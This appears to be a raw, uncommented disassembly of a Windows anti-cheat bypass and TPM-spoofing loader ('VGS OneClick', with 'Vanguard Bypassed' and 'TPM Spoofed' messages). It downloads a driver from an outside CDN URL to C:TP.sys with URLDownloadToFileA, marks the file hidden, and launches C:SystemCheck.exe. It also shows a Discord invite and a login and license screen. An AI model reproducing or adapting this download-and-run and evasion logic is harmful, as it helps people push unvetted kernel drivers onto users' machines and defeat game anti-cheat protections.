ja 0x14003cb4b
call fcn.1400a0cd4
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003bf84
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bf7f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x70], 9
movsd xmm0, qword [str.C:TP.sys]
movsd qword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], al
mov byte [rsp + 0x69], r12b
mov qword [rbp - 0x70], r12
call fcn.1400a0a50
movups xmm0, xmmword [str.C:SystemCheck.exe]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], reloc.WS2_32.dll_select
movups xmmword [rax], xmm0
movzx ecx, word [0x1400b9368]
mov word [rax + 0x10], cx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], Ordinal_33
mov byte [rax + 0x12], r12b
call fcn.14003a980
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003c04b
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c046
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003c088
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c083
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
xorps xmm0, xmm0
mov qword [rbp - 0x68], r12
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x60], r12
movups xmmword [rbp - 0x78], xmm0
call fcn.1400a0a50
movups xmm0, xmmword [str.Vanguard_Bypassed__Enjoy_]
mov qword [rbp - 0x78], rax
lea r8, [rsp + 0x60]
mov qword [rbp - 0x68], Ordinal_26
mov rdx, rax
mov qword [rbp - 0x60], Ordinal_33
xor ecx, ecx
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400b93d8]
movsd qword [rax + 0x10], xmm0
lea r9d, [rcx + 0x40]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_33]
xorps xmm0, xmm0
mov byte [rdx + 0x18], al
mov byte [rdx + 0x19], r12b
mov eax, dword [0x1400b93f0]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], listen
movsd xmm0, qword [str.VGS_Services]
movsd qword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x68], eax
mov byte [rsp + 0x6c], r12b
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003c162
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c15d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb52
call fcn.1400a0cd4
mov rdx, qword [rbp - 0x60]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], r12b
cmp rdx, 0xf
jbe 0x14003c1b0
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c1ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb52
call fcn.1400a0cd4
lea rcx, [rbp + 0x2c8]
call fcn.14003d150
lea rcx, [rbp + 0x2f0]
call fcn.14003d150
mov rcx, qword [0x14012c290]
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], 0x43b30000
mov dword [rbp + 0x54], 0x42040000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0x98], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, str.TPM_Spoof
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], 1
addss xmm1, xmm8
addss xmm0, dword [0x1400b96b4]
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
call fcn.140031700
test al, al
je 0x14003c5fe
xorps xmm0, xmm0
lea rdx, str.https:__oneee.b_cdn.net_TP.sys
xor eax, eax
lea rcx, [rbp - 0x78]
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], rax
call fcn.140002920
lea rax, [rbp - 0x78]
mov qword [rbp + 0xe0], rax
lea rdx, [rbp + 0xe0]
lea rax, [rbp - 0x58]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0xe8], rax
call fcn.14003cf80
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.1400028c0]
lea rcx, [rbp - 0x78]
lea r8d, [rdx - 0x1f]
call fcn.1400a0d08
lea rcx, [rbp + 0x2c8]
call fcn.14003cd90
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
lea rdx, [rbp + 0xf0]
movsd xmm0, qword [str.C:TP.sys]
lea rcx, [rbp + 0x2c8]
xorps xmm1, xmm1
mov qword [rsp + 0x70], 9
movups xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x60]
mov qword [rbp + 0xf0], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0xf8], rax
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x69], r12b
call fcn.14003cf80
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.1400028c0]
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x1f]
call fcn.1400a0d08
mov rax, qword [rbp + 0x2f8]
mov rdi, r12
mov rcx, qword [rbp + 0x2f0]
sub rax, rcx
sar rax, 5
test rax, rax
je 0x14003c3c6
mov rbx, r12
nop
mov r8, qword [rbp + 0x2c8]
lea rdx, [rcx + rbx]
add r8, rbx
cmp qword [r8 + 0x18], 0xf
jbe 0x14003c368
mov r8, qword [r8]
cmp qword [rdx + 0x18], 0xf
jbe 0x14003c372
mov rdx, qword [rdx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x14003c3a5
mov rcx, qword [rbp + 0x2c8]
add rcx, rbx
cmp qword [rcx + 0x18], 0xf
jbe 0x14003c39a
mov rcx, qword [rcx]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rax, qword [rbp + 0x2f8]
inc rdi
mov rcx, qword [rbp + 0x2f0]
add rbx, 0x20
sub rax, rcx
sar rax, 5
cmp rdi, rax
jb 0x14003c350
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x70], 9
movsd xmm0, qword [str.C:TP.sys]
movsd qword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], al
mov byte [rsp + 0x69], r12b
mov qword [rbp - 0x70], r12
call fcn.1400a0a50
movups xmm0, xmmword [str.C:SystemCheck.exe]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], reloc.WS2_32.dll_select
movups xmmword [rax], xmm0
movzx ecx, word [0x1400b9368]
mov word [rax + 0x10], cx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], Ordinal_33
mov byte [rax + 0x12], r12b
call fcn.14003a980
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003c48d
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c488
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb59
call fcn.1400a0cd4
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003c4ca
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c4c5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb59
call fcn.1400a0cd4
xorps xmm0, xmm0
mov qword [rbp - 0x68], r12
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x60], r12
movups xmmword [rbp - 0x78], xmm0
call fcn.1400a0a50
movups xmm0, xmmword [str.TPM_Spoofed_ENJOY_]
mov qword [rbp - 0x78], rax
lea r8, [rsp + 0x60]
mov rdx, rax
mov qword [rbp - 0x68], reloc.WS2_32.dll_select
mov qword [rbp - 0x60], Ordinal_33
xor ecx, ecx
movups xmmword [rax], xmm0
movzx eax, word [0x1400b9438]
mov word [rdx + 0x10], ax
xorps xmm0, xmm0
mov byte [rdx + 0x12], r12b
lea r9d, [rcx + 0x40]
mov eax, dword [0x1400b93f0]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], listen
movsd xmm0, qword [str.VGS_Services]
movsd qword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x68], eax
mov byte [rsp + 0x6c], r12b
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003c598
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c593
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb60
call fcn.1400a0cd4
mov rdx, qword [rbp - 0x60]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], r12b
cmp rdx, 0xf
jbe 0x14003c5e6
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c5e1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb60
call fcn.1400a0cd4
lea rcx, [rbp + 0x2c8]
call fcn.14003d150
lea rcx, [rbp + 0x2f0]
call fcn.14003d150
mov rcx, qword [0x14012c290]
lea rdx, [rbp + 0x58]
mov dword [rbp + 0x58], 0x43b30000
mov dword [rbp + 0x5c], 0x42040000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0x98], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, str.Discord
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], 1
addss xmm1, xmm8
addss xmm0, dword [0x1400b96bc]
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
call fcn.140031700
test al, al
je 0x14003c7da
mov dword [rsp + 0x28], 5
lea r8, str.https:__discord.com_invite_cheet
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xorps xmm0, xmm0
mov qword [rbp + 0xa8], r12
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0xb0], r12
movups xmmword [rbp + 0x98], xmm0
call fcn.1400a0a50
movups xmm0, xmmword [str.Thanks_for_Joining]
mov qword [rbp + 0x98], rax
lea r8, [rbp - 0x40]
mov rdx, rax
mov qword [rbp + 0xa8], reloc.WS2_32.dll_select
mov qword [rbp + 0xb0], Ordinal_41
xor ecx, ecx
movups xmmword [rax], xmm0
movzx eax, word [0x1400b9480]
mov word [rdx + 0x10], ax
xorps xmm0, xmm0
mov byte [rdx + 0x12], r12b
lea r9d, [rcx + 0x40]
mov eax, dword [0x1400b93f0]
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], listen
movsd xmm0, qword [str.VGS_Services]
movsd qword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x38], eax
mov byte [rbp - 0x34], r12b
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14003c770
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c76b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb67
call fcn.1400a0cd4
mov rdx, qword [rbp + 0xb0]
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], r12b
cmp rdx, 0xf
jbe 0x14003c7c1
mov rcx, qword [rbp + 0x98]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c7bc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb67
call fcn.1400a0cd4
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x98], r12b
mov rcx, qword [0x14012c290]
subss xmm9, xmm14
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0x98], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, str.VGS_Services
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], 1
addss xmm1, dword [0x1400b96c0]
addss xmm0, xmm9
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
jmp 0x14003ca91
movss xmm0, dword [rbx + 0x381c]
lea rdx, [rbp + 0x60]
movss xmm1, dword [rbx + 0x3820]
addss xmm0, xmm12
addss xmm1, dword [0x1400b9634]
mov ecx, listen
movss dword [rbp + 0x60], xmm0
movss dword [rbp + 0x64], xmm1
call fcn.140005900
movaps xmm0, xmm15
call fcn.140013ed0
movaps xmm0, xmm8
mov dword [rbp + 0x6c], 0x430d0000
subss xmm0, xmm15
lea rcx, [rbp + 0x68]
mulss xmm0, xmm11
movss dword [rbp + 0x68], xmm0
call fcn.140013e30
call fcn.1400140e0
lea r8, [0x14012c780]
mov dword [rsp + 0x20], r12d
lea rdx, str.Username
lea rcx, str.username
call fcn.140032d00
lea rcx, [rbp + 0x70]
mov dword [rbp + 0x70], 0x438c0000
mov dword [rbp + 0x74], 0x41000000
call fcn.140032b70
lea r8, [0x14012c880]
mov dword [rsp + 0x20], 0x8000
lea rdx, str.Password
lea rcx, str.password
call fcn.140032d00
lea rcx, [rbp + 0x78]
mov dword [rbp + 0x78], 0x438c0000
mov dword [rbp + 0x7c], 0x41000000
call fcn.140032b70
lea r8, [0x14012c680]
mov dword [rsp + 0x20], 0x8000
lea rdx, str.License
lea rcx, str.license
call fcn.140032d00
call fcn.140014210
call fcn.140013f80
mov ecx, 1
call fcn.140005990
lea rcx, [rbp + 0x80]
mov dword [rbp + 0x80], 0x428a0000
mov dword [rbp + 0x84], 0x43810000
call fcn.140013e30
lea rdx, [rbp + 0x88]
mov dword [rbp + 0x88], 0x42d80000
lea rcx, str.LOGIN
mov dword [rbp + 0x8c], 0x42040000
call fcn.140031ce0
test al, al
je 0x14003c9b3
mov qword [rsp + 0x28], r12
lea r8, [0x14003a0f0]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rbp + 0x90]
mov dword [rbp + 0x90], 0x43710000
mov dword [rbp + 0x94], 0x43810000
call fcn.140013e30
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x42d80000
lea rcx, str.REGISTER
mov dword [rbp - 0x4c], 0x42040000
call fcn.140031ce0
test al, al
je 0x14003ca13
mov qword [rsp + 0x28], r12
lea r8, [0x14003a410]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x14012c5a8]
call fcn.140002820
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
lea rcx, [rbp + 0x100]
xor r8d, r8d
call fcn.14000cc40
subss xmm8, dword [rax]
mulss xmm8, xmm11
movaps xmm0, xmm8
call fcn.140013e90
cmp byte [0x14012c388], r12b
je 0x14003ca6b
lea rcx, [0x14012c5a8]
call fcn.140002820
mov rcx, rax
call fcn.140030d00
subss xmm9, dword [0x1400b9684]
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x48], 0x41400000
movss dword [rbp - 0x44], xmm9
call fcn.140013e30
lea rcx, str.VGS_OneClick
call fcn.140030d00
call fcn.140011fd0
call fcn.14000c780
mov rcx, qword [0x14012c998]
lea r8, [0x14012c980]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x3b0], xmm0
mov rax, qword [rcx]
lea edx, [r9 + 1]
call qword [rax + 0x108]
mov rcx, qword [0x14012c998]
lea r8, [rbp + 0x3b0]
mov rdx, qword [0x14012c980]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x14012c290]
mov rcx, qword [rax + 0x4860]
mov rax, qword [rcx]
mov rcx, r12
add rax, 0x48
cmp byte [rax], r12b
cmovne rcx, rax
call fcn.14002c1a0
mov rcx, qword [0x14012c988]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 1]
call qword [rax + 0x40]
cmp byte [rbp + 0x2c0], r12b
je 0x14003b043
mov ecx, dword [0x14012c648]
jmp 0x14003b0a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rbx, r12
call fcn.14002d140
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14003cb85
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14003cb93
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14003cba2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x14012c290]
mov qword [rdi + 0x90], r12
mov qword [rdi + 0xa0], r12
test rax, rax
je 0x14003cbc2
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x14012c290]
test rax, rax
je 0x14003cbe0
mov rbx, qword [rax + 0x98]
jmp 0x14003cbe3
mov rbx, r12
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14003cbfd
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x14012c290]
mov qword [rdi + 0x80], r12
mov qword [rdi + 0x90], r12
test rax, rax
je 0x14003cc16
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x14012c290]
mov qword [0x14012c290], rbx
call fcn.14000b140
mov qword [0x14012c290], r12
test rbx, rbx
je 0x14003cc61
mov rcx, rbx
call fcn.14001c040
mov rax, qword [0x14012c290]
test rax, rax
je 0x14003cc58
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14012c980]
test rcx, rcx
je 0x14003cc7a
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14012c980], r12
mov rcx, qword [0x14012c988]
test rcx, rcx
je 0x14003cc93
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14012c988], r12
mov rcx, qword [0x14012c998]
test rcx, rcx
je 0x14003ccac
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14012c998], r12
mov rcx, qword [0x14012c990]
test rcx, rcx
je 0x14003ccc5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14012c990], r12
mov rcx, qword [0x14012c2b0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x2b0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm14, xmmword [rsp + 0x530]
xor eax, eax
movaps xmm13, xmmword [rsp + 0x540]
movaps xmm12, xmmword [rsp + 0x550]
movaps xmm10, xmmword [rsp + 0x570]
movaps xmm9, xmmword [rsp + 0x580]
movaps xmm8, xmmword [rsp + 0x590]
movaps xmm7, xmmword [rsp + 0x5a0]
movaps xmm6, xmmword [rsp + 0x5b0]
mov r15, qword [rsp + 0x600]
mov r14, qword [rsp + 0x5f8]
mov r13, qword [rsp + 0x5f0]
movaps xmm15, xmmword [rsp + 0x520]
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.1400a0910
movaps xmm11, xmmword [rsp + 0x560]
add rsp, 0x5c0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14003d3f0
int3
call fcn.14003d3f0
int3
call fcn.140001dd0
int3
call fcn.140001e70
int3